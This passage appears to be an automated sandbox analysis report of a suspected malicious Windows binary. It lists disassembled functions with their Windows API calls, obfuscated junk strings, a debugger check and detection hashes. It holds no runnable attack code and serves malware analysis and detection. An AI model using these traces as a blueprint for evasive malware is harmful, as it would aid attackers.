Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: Interlocked$CommName$CreateExchangeFileFormatIncrementInfoVersion$AttributesClearComputerConfigConsoleCurrencyDialogDriveEnumErrorFormatsGlobalInputLocaleLogicalMaskMountNumberPathPointReadSemaphoreShortStringsTempTimeVerifyVolumeWire_memset
String ID: $panigalixamadigagorov sowojacekiludumidige polocemor
API String ID: 2730911676-1733501012
Opcode ID: d23e2264d0ef8cecea8dfaee8da5a593530ee72d2ec632fc149d14f78439c9d7
Instruction ID: 5e0aa9075be5d75de1ab1b599fef44862665e49ad9bf97c726e7214364ea247a
Opcode Fuzzy Hash: d23e2264d0ef8cecea8dfaee8da5a593530ee72d2ec632fc149d14f78439c9d7
Instruction Fuzzy Hash: 2B811EB5D40218AFEB10CF94DD49BADBBB8BB48701F104165F605B72D0D7B46A44CF59

Function 00403560 Relevance: 18.1, APIs: 12, Instructions: 98timeprocesspipeCOMMON

Download Yara Rule

APIs

GetNumberFormatW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 004035BF
CreateJobObjectA.KERNEL32(00000000,00000000), ref: 004035C5
GetConsoleAliasExesA.KERNEL32(?,00000000), ref: 004035D0
CreateNamedPipeW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004035E6
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 004035F0
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040360A
GetTimeFormatW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040361C
GetModuleFileNameW.KERNEL32(00000000,00000000,00000000), ref: 00403624
TlsGetValue.KERNEL32(00000000), ref: 0040362C
SetEnvironmentVariableW.KERNEL32(00000000,?), ref: 0040363B
GetTimeFormatW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040364D
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 0040365A

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: CreateFileFormatName$ModuleTime$AliasConsoleEnvironmentExesNamedNumberObjectPipeProcessShortValueVariable
String ID:
API String ID: 4163992861-0
Opcode ID: c696d350f9cbd58aeb209f839cb97cd2d3af78f45c1cfbe8e87d3c802f68113d
Instruction ID: ee29fcefd4d71f99ff44f49a2115cb02694ff77d511bbf1d43b7a3e3e6c29421
Opcode Fuzzy Hash: c696d350f9cbd58aeb209f839cb97cd2d3af78f45c1cfbe8e87d3c802f68113d
Instruction Fuzzy Hash: CA21CC75A40344BBF3509FA0DE09F997B78EB48707F004065F708B61E0CAB05584CB69

Function 00403A10 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 169COMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000000,?,?,?,2C788E9F,18A3A711,224BFD48,7FC70782,09E143CA,17C3CCF2,541A7EB8,315CA5DA,224BFD48,6E8781CC,32F3EFCE,224BFD48), ref: 00403DD5

Strings

ZV7, xrefs: 00403B44
5Myi, xrefs: 00403C13
Kn, xrefs: 00403D4D
y9=, xrefs: 00403BCD
b6, xrefs: 00403B6A

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: CurrentDirectory
String ID: 5Myi$Kn$b6$ZV7$y9=
API String ID: 1611563598-2733252791
Opcode ID: 32edf5b412df797890cec91c07ae5d8e206d8e81fd75e990c405da7a973fa397
Instruction ID: dd277fa5bcd038b3fb73d8ded35ed20b6e10e6fa25372812213cf8750d62d16f
Opcode Fuzzy Hash: 32edf5b412df797890cec91c07ae5d8e206d8e81fd75e990c405da7a973fa397
Instruction Fuzzy Hash: 7CA1FDB5E00328DFDB24CFAAD98A68DFBB4BF04314F608588E5597B612D7309A81CF45

Function 0040540B Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040A957
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A96C
UnhandledExceptionFilter.KERNEL32(00401A6C), ref: 0040A977
GetCurrentProcess.KERNEL32(C0000409), ref: 0040A993
TerminateProcess.KERNEL32(00000000), ref: 0040A99A

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 197ba938e63218f443c465da3c253e91d636742bd0329b3540dddb7268697b59
Instruction ID: 335a9f500208b5a248cea33aff54e7930ce155153cccc0a294cbadf7bec46998
Opcode Fuzzy Hash: 197ba938e63218f443c465da3c253e91d636742bd0329b3540dddb7268697b59
Instruction Fuzzy Hash: D421CEB8801304EFD700DF29EA457947BA4FB1C306F10543AE80997672E7B49985CF4D

Function 00408D38 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008CF6), ref: 00408D3D

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1792ff99a071a00e974996f980eeec1d20762474deb5b091927190f676798104
Instruction ID: 3d4c199bebb8fa4018e88d1f5d50d4939034e62edc886e79ef66bd0164c3be97
Opcode Fuzzy Hash: 1792ff99a071a00e974996f980eeec1d20762474deb5b091927190f676798104
Instruction Fuzzy Hash: 679002A426718186F60017709F5990675E05A5871275144766486F54A6DE744480A93D

Function 00404E73 Relevance: 21.1, APIs: 14, Instructions: 86COMMON

Download Yara Rule

APIs

_fast_error_exit.LIBCMT ref: 00404EBE
__mtinit.LIBCMT ref: 00404EC4
_fast_error_exit.LIBCMT ref: 00404ECF
__RTC_Initialize.LIBCMT ref: 00404ED5
__ioinit.LIBCMT ref: 00404EDD
__amsg_exit.LIBCMT ref: 00404EE8
GetCommandLineW.KERNEL32 ref: 00404EEE
__wsetargv.LIBCMT ref: 00404F02
__amsg_exit.LIBCMT ref: 00404F0D
__wsetenvp.LIBCMT ref: 00404F13
__amsg_exit.LIBCMT ref: 00404F1E
__cinit.LIBCMT ref: 00404F25
__amsg_exit.LIBCMT ref: 00404F30
__wwincmdln.LIBCMT ref: 00404F36

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandInitializeLine__cinit__ioinit__mtinit__wsetargv__wsetenvp__wwincmdln
String ID:
API String ID: 2477803136-0
Opcode ID: 6ac91b0af1784ede184c693781262ef71dab2860fac2af71bcecb1abb2aa3d1c
Instruction ID: 57a37b661012d7a2b464263d5a00e7c16c4daa68fc553bd61ae124c2d0180b35
Opcode Fuzzy Hash: 6ac91b0af1784ede184c693781262ef71dab2860fac2af71bcecb1abb2aa3d1c
Instruction Fuzzy Hash: 4B21A6F094430599EB24BBB2A84676F2664EF80709F10483FF605BA1C3DB7C98814A9D

Function 00403938 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(nodeteriyucanisi pivibuyasedigozudaruzezune rafuxinetisekipocovovavomikatan), ref: 00403951
GetShortPathNameA.KERNEL32(rupajineligigepubofe,?,00000000), ref: 00403961
GlobalFree.KERNEL32(00000000), ref: 00403965
GetEnvironmentStrings.KERNEL32 ref: 00403967
SetComputerNameW.KERNEL32(00000000), ref: 0040396F
InterlockedExchange.KERNEL32(?,00000000), ref: 00403984
LoadLibraryA.KERNEL32(00451B18), ref: 004039E7

Strings

nodeteriyucanisi pivibuyasedigozudaruzezune rafuxinetisekipocovovavomikatan, xrefs: 0040394C
rupajineligigepubofe, xrefs: 0040395C

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: Name$AttributesComputerEnvironmentExchangeFileFreeGlobalInterlockedLibraryLoadPathShortStrings
String ID: nodeteriyucanisi pivibuyasedigozudaruzezune rafuxinetisekipocovovavomikatan$rupajineligigepubofe
API String ID: 163159629-979419650
Opcode ID: dd508f7294a3f66d136bc4aa6c708a105f860bf75837bdb66cd7b18e132766e0
Instruction ID: a8d1aabc516c639bdf93d1c2f4a976be030ecb7542e0ca02f03a5f53308a6a77
Opcode Fuzzy Hash: dd508f7294a3f66d136bc4aa6c708a105f860bf75837bdb66cd7b18e132766e0
Instruction Fuzzy Hash: 8D11C4716883C0CED3018B64FD0DB593F64A766707F01017AD184162F3E7B96248CBAE

Function 00404140 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 004041D1
__CxxThrowException@8.LIBCMT ref: 004041E6
_memcpy_s.LIBCMT ref: 00404237

Strings

h7@, xrefs: 00404162
h7@, xrefs: 00404271
h7@, xrefs: 0040421B, 00404251, 0040423C, 00404230

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: Exception@8Throw_memcpy_sstd::exception::exception
String ID: h7@$h7@$h7@
API String ID: 464988439-3733659376
Opcode ID: 3d068626e3a460379442fe46fac1553ec098a5b34774a288ba3508e502bcb2c8
Instruction ID: 9748b27a298a6b7da6d7a9b502d7af3a72d3ff42f644983566e744f5fbea8794
Opcode Fuzzy Hash: 3d068626e3a460379442fe46fac1553ec098a5b34774a288ba3508e502bcb2c8
Instruction Fuzzy Hash: 4041D4F1A10605ABD704DFA9C981AAEB7B4FB85310F10427FE526A77C1D378A940CBD9

Function 00409E5A Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00409E82

Part of subcall function 00405306: __getptd.LIBCMT ref: 00405314
Part of subcall function 00405306: __getptd.LIBCMT ref: 00405322

__getptd.LIBCMT ref: 00409E8C

Part of subcall function 0040978E: __getptd_noexit.LIBCMT ref: 00409791
Part of subcall function 0040978E: __amsg_exit.LIBCMT ref: 0040979E

__getptd.LIBCMT ref: 00409E9A
__getptd.LIBCMT ref: 00409EA8
__getptd.LIBCMT ref: 00409EB3
_CallCatchBlock2.LIBCMT ref: 00409ED9

Part of subcall function 004053AB: __CallSettingFrame@12.LIBCMT ref: 004053F7

Part of subcall function 00409F80: __getptd.LIBCMT ref: 00409F8F
Part of subcall function 00409F80: __getptd.LIBCMT ref: 00409F9D

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 2fc41ddc5830f9502d3c7c8e48507b50f26f0f4595e4a0719680c982764d6087
Instruction ID: 175549b2cd202aed7b7900b760b95131a278d0db31b7968ddb5efe0dc9efe250
Opcode Fuzzy Hash: 2fc41ddc5830f9502d3c7c8e48507b50f26f0f4595e4a0719680c982764d6087
Instruction Fuzzy Hash: B211D775D04209DFDB10EFA5C446AEEBBB0FF44319F10806AF814A7292DB789A159F98

Function 00409BA9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00409BC3

Part of subcall function 0040978E: __getptd_noexit.LIBCMT ref: 00409791
Part of subcall function 0040978E: __amsg_exit.LIBCMT ref: 0040979E

__getptd.LIBCMT ref: 00409BD4
__getptd.LIBCMT ref: 00409BE2

Strings

csm, xrefs: 00409BBC
MOC, xrefs: 00409BB5

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: e3ae86297f6c83d9fb0caa9784db7bae5df6550cb3337f8259c956ffe1779f93
Instruction ID: 3acf4969e278ddadc01e58b4968947c2eeabd5294adb439926e562968c1d0a7a
Opcode Fuzzy Hash: e3ae86297f6c83d9fb0caa9784db7bae5df6550cb3337f8259c956ffe1779f93
Instruction Fuzzy Hash: B5E01A361282048FD710AB69D446B6A32A8FF84328F1500B6A808DB3A3D73CEC54964A

Function 0040B833 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B83F

Part of subcall function 0040978E: __getptd_noexit.LIBCMT ref: 00409791
Part of subcall function 0040978E: __amsg_exit.LIBCMT ref: 0040979E

__amsg_exit.LIBCMT ref: 0040B85F
__lock.LIBCMT ref: 0040B86F
InterlockedDecrement.KERNEL32(?), ref: 0040B88C
InterlockedIncrement.KERNEL32(0044B7D8), ref: 0040B8B7

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: dc926768687387bdaebe5ebe042f59be677f0f0d5b1d60369f2b0e07b454c787
Instruction ID: 9a61905bef7403cac14438c4351fa39f7b27295c18abd7c641948c94c66c028d
Opcode Fuzzy Hash: dc926768687387bdaebe5ebe042f59be677f0f0d5b1d60369f2b0e07b454c787
Instruction Fuzzy Hash: D0015E36900A15DBE721BB66948579A7764EF05754F05803FE810B76E1CB3CA881CBDE

Function 00406641 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040665F

Part of subcall function 00407F98: __mtinitlocknum.LIBCMT ref: 00407FAE
Part of subcall function 00407F98: __amsg_exit.LIBCMT ref: 00407FBA
Part of subcall function 00407F98: EnterCriticalSection.KERNEL32(?,?,?,0040CCC0,00000004,0044A150,0000000C,0040ADAA,?,?,00000000,00000000,00000000,?,00409740,00000001), ref: 00407FC2

___sbh_find_block.LIBCMT ref: 0040666A
___sbh_free_block.LIBCMT ref: 00406679
HeapFree.KERNEL32(00000000,00000000,00449DB8,0000000C,004047E6,?,00403271), ref: 004066A9
GetLastError.KERNEL32 ref: 004066BA

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 3dd1c104f3e7b85c235db88422c712877311583af5741d38ab9e16f9065830b0
Instruction ID: a1099164fd7550ba95ff20370da2958e4c5e716be06619bbe1a15ff32a2ac325
Opcode Fuzzy Hash: 3dd1c104f3e7b85c235db88422c712877311583af5741d38ab9e16f9065830b0
Instruction Fuzzy Hash: 41018F71C04711AADF207F729C0AB9E3BA49F01769F12493FF441BA1D2CE7D99608A5D

Function 00403E60 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 00404495: __EH_prolog3.LIBCMT ref: 0040449C
Part of subcall function 00404495: std::bad_exception::bad_exception.LIBCMT ref: 004044B9
Part of subcall function 00404495: __CxxThrowException@8.LIBCMT ref: 004044C7

std::_String_base::_Xlen.LIBCPMT ref: 00403EB1

Part of subcall function 0040445D: __EH_prolog3.LIBCMT ref: 00404464
Part of subcall function 0040445D: std::bad_exception::bad_exception.LIBCMT ref: 00404481
Part of subcall function 0040445D: __CxxThrowException@8.LIBCMT ref: 0040448F

_memcpy_s.LIBCMT ref: 00403F26

Strings

h7@, xrefs: 00403E68
h7@, xrefs: 00403E64, 00403F1A, 00403E99

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: Exception@8H_prolog3Throwstd::bad_exception::bad_exception$String_base::_Xlen_memcpy_sstd::_
String ID: h7@$h7@
API String ID: 2371884630-3958829557
Opcode ID: c0589e1c9f4925b8e6f740923a83d24e1163df58f1dc207809a61f40d0f5e362
Instruction ID: 4e7890e22975db89175160b39f3d3c87135534139d79fc71cc2319ffacf18912
Opcode Fuzzy Hash: c0589e1c9f4925b8e6f740923a83d24e1163df58f1dc207809a61f40d0f5e362
Instruction Fuzzy Hash: 9431E6323005109BC710DE4DE880A5AFBA9EBE1761B10063FF6559B2C1C735ED41C7E9

Function 0040A207 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 0040A21A

Part of subcall function 0040A175: ___BuildCatchObjectHelper.LIBCMT ref: 0040A1AB

_UnwindNestedFrames.LIBCMT ref: 0040A231
___FrameUnwindToState.LIBCMT ref: 0040A23F

Strings

csm, xrefs: 0040A216, 0040A22B, 0040A23E, 0040A25C, 0040A26C

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: e35613447c3717e4a37f21c48efb3079f56f9b493ba6bdf2114eae8f4c57fbb7
Instruction ID: 788f5e188c3528fb811398352f40b0c2e8bf9c4d14057e3e728ff746af4b7f07
Opcode Fuzzy Hash: e35613447c3717e4a37f21c48efb3079f56f9b493ba6bdf2114eae8f4c57fbb7
Instruction Fuzzy Hash: B601E831000209BBDF126E51DC45EAF7F6AFF09354F00406AFD18252A1D73A9971EBAA

Function 0040D8A1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040B4BA), ref: 0040D8A6
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040D8B6

Strings

KERNEL32, xrefs: 0040D8A1
IsProcessorFeaturePresent, xrefs: 0040D8B0

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 11131a3264e11e2599991262595a3c608550aaef01fa8531127675aa8e847add
Instruction ID: 389c79f7c984ce88bee0376d2814aef5514c98a40adb612dc2e08a991ef5240a
Opcode Fuzzy Hash: 11131a3264e11e2599991262595a3c608550aaef01fa8531127675aa8e847add
Instruction Fuzzy Hash: B2F01D31A00A09D2DF002BF1BE4E66F7B74BB84741F9244B1A5A1B01D4DE788079825A

Function 00404495 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040449C

Part of subcall function 00403DF0: _strlen.LIBCMT ref: 00403E0A

std::bad_exception::bad_exception.LIBCMT ref: 004044B9

Part of subcall function 0040440E: std::runtime_error::runtime_error.LIBCPMT ref: 00404419

__CxxThrowException@8.LIBCMT ref: 004044C7

Part of subcall function 00404FCB: RaiseException.KERNEL32(?,?,00404E1A,?,?,?,?,?,00404E1A,?,0044A290,00450F64,h7@,?,00000000,0004A7A8), ref: 0040500D

Strings

invalid string position, xrefs: 004044A1

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrow_strlenstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 843739861-1799206989
Opcode ID: 700d1af2c4eaf03bea565af7b03dbead500a3d3712d730e22dc07129d8cefecd
Instruction ID: fae6d0ca2df376a34d2d3c54931f6281d6c7b07355819c79e81589d3f49b10fc
Opcode Fuzzy Hash: 700d1af2c4eaf03bea565af7b03dbead500a3d3712d730e22dc07129d8cefecd
Instruction Fuzzy Hash: 31F0BE7260022867DB00EAD2CC07FDE7668EB54725F20053BB300B65C2CAB8AA1087DC

Function 0040FF4C Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

